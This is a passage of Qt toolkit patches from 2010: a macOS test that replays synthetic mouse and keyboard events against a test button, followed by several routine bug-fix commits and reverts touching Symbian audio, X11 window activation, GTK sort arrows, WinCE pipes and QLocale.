CGEventRef e = CGEventCreateKeyboardEvent(0, (uint)event.nativeKeyCode, event.press); + setModifiersFromQNativeEvent(e, event); + CGEventPost(kCGHIDEventTap, e); + CFRelease(e); + return Qt::Native::Success; +} + +Qt::Native::Status sendNativeMouseMoveEvent_Quartz(const QNativeMouseMoveEvent &event) +{ + CGPoint pos; + pos.x = event.globalPos.x(); + pos.y = event.globalPos.y(); + + CGEventRef e = CGEventCreateMouseEvent(0, kCGEventMouseMoved, pos, 0); + setModifiersFromQNativeEvent(e, event); + CGEventPost(kCGHIDEventTap, e); + CFRelease(e); + return Qt::Native::Success; +} + +Qt::Native::Status sendNativeMouseButtonEvent_Quartz(const QNativeMouseButtonEvent &event) +{ + CGPoint pos; + pos.x = event.globalPos.x(); + pos.y = event.globalPos.y(); + + CGEventType type = 0; + if (event.button == Qt::LeftButton) + type = (event.clickCount > 0) ? kCGEventLeftMouseDown : kCGEventLeftMouseUp; + else if (event.button == Qt::RightButton) + type = (event.clickCount > 0) ? kCGEventRightMouseDown : kCGEventRightMouseUp; + else + type = (event.clickCount > 0) ? kCGEventOtherMouseDown : kCGEventOtherMouseUp; + + CGEventRef e = CGEventCreateMouseEvent(0, type, pos, event.button); + setModifiersFromQNativeEvent(e, event); + CGEventSetIntegerValueField(e, kCGMouseEventClickState, event.clickCount); + CGEventPost(kCGHIDEventTap, e); + CFRelease(e); + return Qt::Native::Success; +} + +Qt::Native::Status sendNativeMouseDragEvent_Quartz(const QNativeMouseDragEvent &event) +{ + CGPoint pos; + pos.x = event.globalPos.x(); + pos.y = event.globalPos.y(); + + CGEventType type = 0; + if (event.button == Qt::LeftButton) + type = kCGEventLeftMouseDragged; + else if (event.button == Qt::RightButton) + type = kCGEventRightMouseDragged; + else + type = kCGEventOtherMouseDragged; + + CGEventRef e = CGEventCreateMouseEvent(0, type, pos, event.button); + setModifiersFromQNativeEvent(e, event); + CGEventPost(kCGHIDEventTap, e); + CFRelease(e); + return Qt::Native::Success; +} + +Qt::Native::Status sendNativeMouseWheelEvent_Quartz(const QNativeMouseWheelEvent &event) +{ + CGPoint pos; + pos.x = event.globalPos.x(); + pos.y = event.globalPos.y(); + + CGEventRef e = CGEventCreateScrollWheelEvent(0, kCGScrollEventUnitPixel, 1, 0); + CGEventSetIntegerValueField(e, kCGScrollWheelEventDeltaAxis1, event.delta); + CGEventSetLocation(e, pos); + setModifiersFromQNativeEvent(e, event); + CGEventPost(kCGHIDEventTap, e); + CFRelease(e); + + return Qt::Native::Success; +} + +Qt::Native::Status sendNativeModifierEvent_Quartz(const QNativeModifierEvent &event) +{ + CGEventRef e = CGEventCreateKeyboardEvent(0, (uint)event.nativeKeyCode, 0); + CGEventSetType(e, kCGEventFlagsChanged); + setModifiersFromQNativeEvent(e, event); + CGEventPost(kCGHIDEventTap, e); + CFRelease(e); + return Qt::Native::Success; +} + +// ************************************************************ +// QNativeInput methods: +// ************************************************************ + +Qt::Native::Status QNativeInput::sendNativeMouseButtonEvent(const QNativeMouseButtonEvent &event) +{ + return sendNativeMouseButtonEvent_Quartz(event); +} + +Qt::Native::Status QNativeInput::sendNativeMouseMoveEvent(const QNativeMouseMoveEvent &event) +{ + return sendNativeMouseMoveEvent_Quartz(event); +} + +Qt::Native::Status QNativeInput::sendNativeMouseDragEvent(const QNativeMouseDragEvent &event) +{ + return sendNativeMouseDragEvent_Quartz(event); +} + +Qt::Native::Status QNativeInput::sendNativeMouseWheelEvent(const QNativeMouseWheelEvent &event) +{ + return sendNativeMouseWheelEvent_Quartz(event); +} + +Qt::Native::Status QNativeInput::sendNativeKeyEvent(const QNativeKeyEvent &event, int pid) +{ + if (!pid) + return sendNativeKeyEvent_Quartz(event); + else + return sendNativeKeyEventToProcess_Quartz(event, pid); +} + +Qt::Native::Status QNativeInput::sendNativeModifierEvent(const QNativeModifierEvent &event) +{ + return sendNativeModifierEvent_Quartz(event); +} + +Qt::Native::Status QNativeInput::subscribeForNativeEvents() +{ + return insertEventHandler_Quartz(this); +} + +Qt::Native::Status QNativeInput::unsubscribeForNativeEvents() +{ + return removeEventHandler_Quartz(); +} + +// Some Qt to Mac mappings: +int QNativeKeyEvent::Key_A = 0; +int QNativeKeyEvent::Key_B = 11; +int QNativeKeyEvent::Key_C = 8; +int QNativeKeyEvent::Key_1 = 18; +int QNativeKeyEvent::Key_Backspace = 51; +int QNativeKeyEvent::Key_Enter = 36; +int QNativeKeyEvent::Key_Del = 117; + diff --git a/tests/auto/macnativeevents/qnativeplayer.cpp b/tests/auto/macnativeevents/qnativeplayer.cpp new file mode 100644 index 0000000..92298ef --- /dev/null +++ b/tests/auto/macnativeevents/qnativeplayer.cpp @@ -0,0 +1,139 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qnativeplayer.h" + +QNativePlayer::QNativePlayer() +{ + currIndex = -1; + playbackMultiplier = 1.0; + wait = false; +} + +QNativePlayer::~QNativePlayer() +{ + for (int i=0; i= eventList.size()){ + emit done(); + stop(); + return; + } + + int interval = eventList.at(currIndex).first; + QTimer::singleShot(interval * playbackMultiplier, this, SLOT(sendNextEvent())); +} + +void QNativePlayer::append(int waitMs, QNativeEvent *event) +{ + eventList.append(QPair(waitMs, event)); +} + +void QNativePlayer::play(Playback playback) +{ + waitNextEvent(); + + wait = (playback == WaitUntilFinished); + while (wait) + QCoreApplication::processEvents(QEventLoop::WaitForMoreEvents); +} + +void QNativePlayer::stop() +{ + wait = false; + QAbstractEventDispatcher::instance()->interrupt(); +} + +// ************************************************************************ + +QEventOutputList::QEventOutputList() +{ + wait = true; +} + +QEventOutputList::~QEventOutputList() +{ + qDeleteAll(*this); +} + +bool QEventOutputList::waitUntilEmpty(int maxEventWaitTime) +{ + int currSize = size(); + QTime time; + time.restart(); + while (wait){ + QCoreApplication::processEvents(QEventLoop::AllEvents, 50); + + if (isEmpty()){ + return true; + } + else if (currSize == size()){ + if (time.elapsed() > maxEventWaitTime){ + return false; + } + } + else{ + currSize = size(); + time.restart(); + } + } + return false; +} + +void QEventOutputList::sleep(int sleepTime) +{ + QTime time; + time.restart(); + while (time.elapsed() < sleepTime) + QCoreApplication::processEvents(QEventLoop::AllEvents, 50); +} diff --git a/tests/auto/macnativeevents/qnativeplayer.h b/tests/auto/macnativeevents/qnativeplayer.h new file mode 100644 index 0000000..61ee162 --- /dev/null +++ b/tests/auto/macnativeevents/qnativeplayer.h @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef Q_NATIVE_PLAYBACK +#define Q_NATIVE_PLAYBACK + +#include +#include "qnativeinput.h" + +class QNativePlayer : public QObject +{ + Q_OBJECT; + + public: + enum Playback {ReturnImmediately, WaitUntilFinished}; + + QNativePlayer(); + ~QNativePlayer(); + + void append(int waitMs, QNativeEvent *event = 0); + void play(Playback playback = WaitUntilFinished); + void stop(); + float playbackMultiplier; + +signals: + void done(); + +private slots: + void sendNextEvent(); + + private: + void waitNextEvent(); + + QList > eventList; + int currIndex; + bool wait; +}; + +// ****************************************************************** + +class QEventOutputList : public QList +{ +public: + QEventOutputList(); + ~QEventOutputList(); + bool waitUntilEmpty(int maxEventWaitTime = 1000); + bool wait; + + // Useful method. Just sleep and process events: + static void sleep(int sleepTime); +}; + + +#endif diff --git a/tests/auto/macnativeevents/tst_macnativeevents.cpp b/tests/auto/macnativeevents/tst_macnativeevents.cpp new file mode 100644 index 0000000..ccadd54 --- /dev/null +++ b/tests/auto/macnativeevents/tst_macnativeevents.cpp @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include + +#include "qnativeinput.h" +#include "qnativeplayer.h" + +#ifdef Q_OS_MAC + +QT_USE_NAMESPACE + +class tst_MacNativeEvents : public QObject +{ +Q_OBJECT +private slots: + void testLeftMousePressRelease(); +}; + +void tst_MacNativeEvents::testLeftMousePressRelease() +{ + QPushButton w("click me"); + w.show(); + QPoint p = w.geometry().center(); + + QNativePlayer player; + player.append(50, new QNativeMouseButtonEvent(p, Qt::LeftButton, 1, Qt::NoModifier)); + player.append(50, new QNativeMouseButtonEvent(p, Qt::LeftButton, 0, Qt::NoModifier)); + player.play(); +} + +#include "tst_macnativeevents.moc" + +QTEST_MAIN(tst_MacNativeEvents) + +#else + +QTEST_NOOP_MAIN + +#endif diff --git a/tests/auto/macnativeevents/tst_macnativeevents.pro b/tests/auto/macnativeevents/tst_macnativeevents.pro new file mode 100644 index 0000000..a0293d4 --- /dev/null +++ b/tests/auto/macnativeevents/tst_macnativeevents.pro @@ -0,0 +1,16 @@ +###################################################################### +# Automatically generated by qmake (2.01a) Wed Nov 29 22:24:47 2006 +###################################################################### + +load(qttest_p4) +TEMPLATE = app +DEPENDPATH += . +INCLUDEPATH += . +LIBS += -framework Carbon + +HEADERS += qnativeinput.h qnativeplayer.h +SOURCES += qnativeinput.cpp qnativeplayer.cpp qnativeinput_mac.cpp + +SOURCES += tst_macnativeevents.cpp + +requires(mac) diff --git a/tests/auto/other.pro b/tests/auto/other.pro index e220d1a..3c8f856 100644 --- a/tests/auto/other.pro +++ b/tests/auto/other.pro @@ -37,6 +37,7 @@ SUBDIRS=\ contains(QT_CONFIG, OdfWriter):SUBDIRS += qzip qtextodfwriter mac: { SUBDIRS += macgui \ + macnativeevents \ macplist \ qaccessibility_mac } -- cgit v0.12 From 6fc92ea90a078938ced596059981a120dc9ff57d Mon Sep 17 00:00:00 2001 From: Gareth Stockwell Date: Wed, 24 Mar 2010 09:11:30 +0000 Subject: Symbian QAudioOutput::suspend() was resetting processedUSecs() to zero Because of the logic in the Symbian implementations of suspend() and processedUSecs(), the behaviour prior to this patch was as follows: - after calling suspend(), processedUSecs() reported zero - when resume() is called, the amount of silent padding data inserted into the output stream is equal to the amount of data played prior to suspend() The patch corrects the above defect, but introduces a new one, which is described in QTBUG-9322 Reviewed-by: trustme --- src/multimedia/audio/qaudiooutput_symbian_p.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/multimedia/audio/qaudiooutput_symbian_p.cpp b/src/multimedia/audio/qaudiooutput_symbian_p.cpp index 945a08d..3f8e933 100644 --- a/src/multimedia/audio/qaudiooutput_symbian_p.cpp +++ b/src/multimedia/audio/qaudiooutput_symbian_p.cpp @@ -185,10 +185,11 @@ void QAudioOutputPrivate::suspend() const qint64 samplesWritten = SymbianAudio::Utils::bytesToSamples( m_format, m_bytesWritten); - m_bytesWritten = 0; const qint64 samplesPlayed = getSamplesPlayed(); + m_bytesWritten = 0; + // CMMFDevSound::Pause() is not guaranteed to work correctly in all // implementations, for play-mode DevSound sessions. We therefore // have to implement suspend() by calling CMMFDevSound::Stop(). -- cgit v0.12 From 555175f9d9e5633b8fcfd6e6f6a11c84faa9946e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Morten=20Johan=20S=C3=B8rvig?= Date: Wed, 24 Mar 2010 10:20:24 +0100 Subject: Revert "Make QWidget::activateWindow() NET window manager aware." This reverts commit 6390248b11b3596d8c946c232e9b0d832dc42941, which caused the following regressions: TESTFUNCTION_FAIL qshortcut::ambiguousItems (pulse_linux-g++) TESTFUNCTION_FAIL qshortcut::ambiguousRotation (pulse_linux-g++) TESTFUNCTION_FAIL qshortcut::disabledItems (pulse_linux-g++) TESTFUNCTION_FAIL qshortcut::keypressConsumption (pulse_linux-g++) TESTFUNCTION_FAIL qshortcut::number (pulse_linux-g++) TESTFUNCTION_FAIL qshortcut::text (pulse_linux-g++) TESTFUNCTION_FAIL qshortcut::unicodeCompare (pulse_linux-g++) --- src/gui/kernel/qapplication_x11.cpp | 2 -- src/gui/kernel/qt_x11_p.h | 2 -- src/gui/kernel/qwidget_x11.cpp | 22 +--------------------- 3 files changed, 1 insertion(+), 25 deletions(-) diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp index 67e0865..ea44173 100644 --- a/src/gui/kernel/qapplication_x11.cpp +++ b/src/gui/kernel/qapplication_x11.cpp @@ -275,8 +275,6 @@ static const char * x11_atomnames = { "_NET_SYSTEM_TRAY_VISUAL\0" - "_NET_ACTIVE_WINDOW\0" - // Property formats "COMPOUND_TEXT\0" "TEXT\0" diff --git a/src/gui/kernel/qt_x11_p.h b/src/gui/kernel/qt_x11_p.h index 7383382..e1b2625 100644 --- a/src/gui/kernel/qt_x11_p.h +++ b/src/gui/kernel/qt_x11_p.h @@ -632,8 +632,6 @@ struct QX11Data _NET_SYSTEM_TRAY_VISUAL, - _NET_ACTIVE_WINDOW, - // Property formats COMPOUND_TEXT, TEXT, diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index c1363d2..2266379 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1641,27 +1641,7 @@ void QWidget::activateWindow() if (X11->userTime == 0) X11->userTime = X11->time; qt_net_update_user_time(tlw, X11->userTime); - - if (X11->isSupportedByWM(ATOM(_NET_ACTIVE_WINDOW))) { - XEvent e; - e.xclient.type = ClientMessage; - e.xclient.message_type = ATOM(_NET_ACTIVE_WINDOW); - e.xclient.display = X11->display; - e.xclient.window = tlw->internalWinId(); - e.xclient.format = 32; - e.xclient.data.l[0] = 1; // 1 == application - e.xclient.data.l[1] = X11->userTime; - if (QWidget *aw = QApplication::activeWindow()) - e.xclient.data.l[2] = aw->internalWinId(); - else - e.xclient.data.l[2] = XNone; - e.xclient.data.l[3] = 0; - e.xclient.data.l[4] = 0; - XSendEvent(X11->display, RootWindow(X11->display, tlw->x11Info().screen()), - false, SubstructureNotifyMask | SubstructureRedirectMask, &e); - } else { - XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); - } + XSetInputFocus(X11->display, tlw->internalWinId(), XRevertToParent, X11->time); } } -- cgit v0.12 From fad919fa0fe976facc94685fd1460b4961b72c4e Mon Sep 17 00:00:00 2001 From: Gabriel de Dietrich Date: Wed, 24 Mar 2010 10:26:53 +0100 Subject: Revert "Sort indicators displayed incorrectly in GTK style" This reverts commit 74ce3dea8b3ea06d61cef4e729f6a95f670461fe. The sorting order is intentional. --- src/gui/styles/qgtkstyle.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/gui/styles/qgtkstyle.cpp b/src/gui/styles/qgtkstyle.cpp index 0d8a589..e2de43a 100644 --- a/src/gui/styles/qgtkstyle.cpp +++ b/src/gui/styles/qgtkstyle.cpp @@ -769,9 +769,9 @@ void QGtkStyle::drawPrimitive(PrimitiveElement element, GtkArrowType type = GTK_ARROW_UP; QRect r = header->rect; QImage arrow; - if (header->sortIndicator & QStyleOptionHeader::SortDown) + if (header->sortIndicator & QStyleOptionHeader::SortUp) type = GTK_ARROW_UP; - else if (header->sortIndicator & QStyleOptionHeader::SortUp) + else if (header->sortIndicator & QStyleOptionHeader::SortDown) type = GTK_ARROW_DOWN; gtkPainter.paintArrow(gtkTreeHeader, "button", option->rect.adjusted(1, 1, -1, -1), type, state, -- cgit v0.12 From 994e381f417464489dd2e6c9c1de163b576adfea Mon Sep 17 00:00:00 2001 From: Thierry Bastian Date: Wed, 24 Mar 2010 10:33:00 +0100 Subject: Fix compilation for winCE --- src/corelib/io/qwindowspipewriter.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/corelib/io/qwindowspipewriter.cpp b/src/corelib/io/qwindowspipewriter.cpp index da992d0..eb42c20 100644 --- a/src/corelib/io/qwindowspipewriter.cpp +++ b/src/corelib/io/qwindowspipewriter.cpp @@ -100,7 +100,8 @@ qint64 QWindowsPipeWriter::write(const char *ptr, qint64 maxlen) void QWindowsPipeWriter::run() { - OVERLAPPED overl = {0, 0, { {0, 0 } }, CreateEvent(NULL, TRUE, FALSE, NULL)}; + OVERLAPPED overl = {0, 0, {{ 0 }}, 0}; + overl.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); forever { lock.lock(); while(data.isEmpty() && (!quitNow)) { -- cgit v0.12 From 11f246ba81e74984a51964f0e91d233597697860 Mon Sep 17 00:00:00 2001 From: Gabriel de Dietrich Date: Wed, 24 Mar 2010 10:30:56 +0100 Subject: Inverted sorting arrows on QHeaderViews is intentional on GNOME It follows the GNOME HIG as specified in http://library.gnome.org/devel/hig-book/stable/controls-lists.html.en Ammending commit reversion fad919fa0fe976facc94685fd1460b4961b72c4e. Reviewed-by: jbache Task-number: QTBUG-9299 --- src/gui/styles/qgtkstyle.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/styles/qgtkstyle.cpp b/src/gui/styles/qgtkstyle.cpp index e2de43a..bd87ca4 100644 --- a/src/gui/styles/qgtkstyle.cpp +++ b/src/gui/styles/qgtkstyle.cpp @@ -769,6 +769,8 @@ void QGtkStyle::drawPrimitive(PrimitiveElement element, GtkArrowType type = GTK_ARROW_UP; QRect r = header->rect; QImage arrow; + // This sorting indicator inversion is intentional, and follows the GNOME HIG. + // See http://library.gnome.org/devel/hig-book/stable/controls-lists.html.en#controls-lists-sortable if (header->sortIndicator & QStyleOptionHeader::SortUp) type = GTK_ARROW_UP; else if (header->sortIndicator & QStyleOptionHeader::SortDown) -- cgit v0.12 From 58db7e9e0713dad6da02cefa461101f0ac79cab8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Morten=20Johan=20S=C3=B8rvig?= Date: Wed, 24 Mar 2010 10:47:43 +0100 Subject: Revert "Optimized QLocale to access system locale on demand." This reverts commit 0d3c62150f2fa2c06f7676336076be4622059cc3, which causes the following (intermittent) test failuers: TESTCASE_FAIL qtconcurrentmap (pulse_qws/linux-x86-g++) TESTFUNCTION_FAIL qtconcurrentmap::mapped (pulse_qws/linux-x86-g++) --- src/corelib/tools/qlocale.cpp | 214 ++++++++----------------------------- src/corelib/tools/qlocale.h | 1 - src/corelib/tools/qlocale_p.h | 18 ++-- tests/auto/qlocale/tst_qlocale.cpp | 6 -- 4 files changed, 54 insertions(+), 185 deletions(-) diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index caa47d0..c3f6783 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -1274,25 +1274,11 @@ QLocale QSystemLocale::fallbackLocale() const */ QVariant QSystemLocale::query(QueryType type, QVariant /* in */) const { - switch (type) { - case MeasurementSystem: + if (type == MeasurementSystem) { return QVariant(unixGetSystemMeasurementSystem()); - case LanguageId: - case CountryId: { - QString locale = QLatin1String(envVarLocale()); - QLocale::Language lang; - QLocale::Country cntry; - getLangAndCountry(locale, lang, cntry); - if (type == LanguageId) - return lang; - if (cntry == QLocale::AnyCountry) - return fallbackLocale().country(); - return cntry; - } - default: - break; + } else { + return QVariant(); } - return QVariant(); } #elif !defined(Q_OS_SYMBIAN) @@ -1324,10 +1310,12 @@ QVariant QSystemLocale::query(QueryType /* type */, QVariant /* in */) const #endif +#ifndef QT_NO_SYSTEMLOCALE static QSystemLocale *_systemLocale = 0; Q_GLOBAL_STATIC_WITH_ARGS(QSystemLocale, QSystemLocale_globalSystemLocale, (true)) static QLocalePrivate *system_lp = 0; Q_GLOBAL_STATIC(QLocalePrivate, globalLocalePrivate) +#endif /****************************************************************************** ** Default system locale behavior @@ -1400,8 +1388,7 @@ QSystemLocale::QSystemLocale() /*! \internal */ QSystemLocale::QSystemLocale(bool) -{ -} +{ } /*! Deletes the object. @@ -1423,42 +1410,16 @@ static const QSystemLocale *systemLocale() return QSystemLocale_globalSystemLocale(); } -static const QLocalePrivate *maybeSystemPrivate(); -bool QLocalePrivate::isUninitializedSystemLocale() const -{ - return this == maybeSystemPrivate() && m_language_id == 0; -} - -QVariant QLocalePrivate::querySystemLocale(int type, const QVariant &in) const -{ - QVariant res = systemLocale()->query(QSystemLocale::QueryType(type), in); - if (res.isNull() && isUninitializedSystemLocale()) { - // if we were not able to get data from the system, initialize the - // system locale private data (which is essentially equals to this) - // with a fallback locale. - QLocalePrivate *system_private = globalLocalePrivate(); - *system_private = *systemLocale()->fallbackLocale().d(); - // internal cache is not initialized with values from the system, mark - // it as not fully initialized system locale. - system_private->m_language_id = 0; - } - return res; -} - -// retrieves data from the system locale and caches them locally. void QLocalePrivate::updateSystemPrivate() { const QSystemLocale *sys_locale = systemLocale(); if (!system_lp) - return; - - // copy over the information from the fallback locale and modify + system_lp = globalLocalePrivate(); *system_lp = *sys_locale->fallbackLocale().d(); QVariant res = sys_locale->query(QSystemLocale::LanguageId, QVariant()); if (!res.isNull()) system_lp->m_language_id = res.toInt(); - res = sys_locale->query(QSystemLocale::CountryId, QVariant()); if (!res.isNull()) system_lp->m_country_id = res.toInt(); @@ -1485,29 +1446,19 @@ void QLocalePrivate::updateSystemPrivate() } #endif -// returns the private data for the system locale. Cached data will not be -// initialized until the updateSystemPrivate is called. static const QLocalePrivate *systemPrivate() { #ifndef QT_NO_SYSTEMLOCALE - if (!system_lp) { - system_lp = globalLocalePrivate(); - // mark the locale as uninitialized system locale - system_lp->m_language_id = 0; - } + // copy over the information from the fallback locale and modify + if (!system_lp || system_lp->m_language_id == 0) + QLocalePrivate::updateSystemPrivate(); + return system_lp; #else return locale_data; #endif } -#ifndef QT_NO_SYSTEMLOCALE -static const QLocalePrivate *maybeSystemPrivate() -{ - return system_lp; -} -#endif - static const QLocalePrivate *defaultPrivate() { if (!default_lp) @@ -2386,12 +2337,7 @@ void QLocale::setDefault(const QLocale &locale) */ QLocale::Language QLocale::language() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return Language(dd->languageId()); + return Language(d()->languageId()); } /*! @@ -2401,12 +2347,7 @@ QLocale::Language QLocale::language() const */ QLocale::Country QLocale::country() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return Country(dd->countryId()); + return Country(d()->countryId()); } /*! @@ -2744,8 +2685,8 @@ QString QLocale::toString(const QDate &date, FormatType format) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(format == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(format == LongFormat ? QSystemLocale::DateToStringLong : QSystemLocale::DateToStringShort, date); if (!res.isNull()) @@ -2839,8 +2780,8 @@ QString QLocale::toString(const QDateTime &dateTime, FormatType format) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(format == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(format == LongFormat ? QSystemLocale::DateTimeToStringLong : QSystemLocale::DateTimeToStringShort, dateTime); @@ -2865,8 +2806,8 @@ QString QLocale::toString(const QTime &time, FormatType format) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(format == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(format == LongFormat ? QSystemLocale::TimeToStringLong : QSystemLocale::TimeToStringShort, time); if (!res.isNull()) @@ -2892,8 +2833,8 @@ QString QLocale::toString(const QTime &time, FormatType format) const QString QLocale::dateFormat(FormatType format) const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(format == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(format == LongFormat ? QSystemLocale::DateFormatLong : QSystemLocale::DateFormatShort, QVariant()); if (!res.isNull()) @@ -2929,8 +2870,8 @@ QString QLocale::dateFormat(FormatType format) const QString QLocale::timeFormat(FormatType format) const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(format == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(format == LongFormat ? QSystemLocale::TimeFormatLong : QSystemLocale::TimeFormatShort, QVariant()); if (!res.isNull()) @@ -2966,8 +2907,8 @@ QString QLocale::timeFormat(FormatType format) const QString QLocale::dateTimeFormat(FormatType format) const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(format == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(format == LongFormat ? QSystemLocale::DateTimeFormatLong : QSystemLocale::DateTimeFormatShort, QVariant()); @@ -3134,12 +3075,7 @@ QDateTime QLocale::toDateTime(const QString &string, const QString &format) cons */ QChar QLocale::decimalPoint() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return dd->decimal(); + return d()->decimal(); } /*! @@ -3149,12 +3085,7 @@ QChar QLocale::decimalPoint() const */ QChar QLocale::groupSeparator() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return dd->group(); + return d()->group(); } /*! @@ -3164,12 +3095,7 @@ QChar QLocale::groupSeparator() const */ QChar QLocale::percent() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return dd->percent(); + return d()->percent(); } /*! @@ -3179,12 +3105,7 @@ QChar QLocale::percent() const */ QChar QLocale::zeroDigit() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return dd->zero(); + return d()->zero(); } /*! @@ -3194,12 +3115,7 @@ QChar QLocale::zeroDigit() const */ QChar QLocale::negativeSign() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return dd->minus(); + return d()->minus(); } /*! @@ -3209,12 +3125,7 @@ QChar QLocale::negativeSign() const */ QChar QLocale::positiveSign() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif - return dd->plus(); + return d()->plus(); } /*! @@ -3224,12 +3135,7 @@ QChar QLocale::positiveSign() const */ QChar QLocale::exponential() const { - const QLocalePrivate *dd = d(); -#ifndef QT_NO_SYSTEMLOCALE - if (dd->isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); 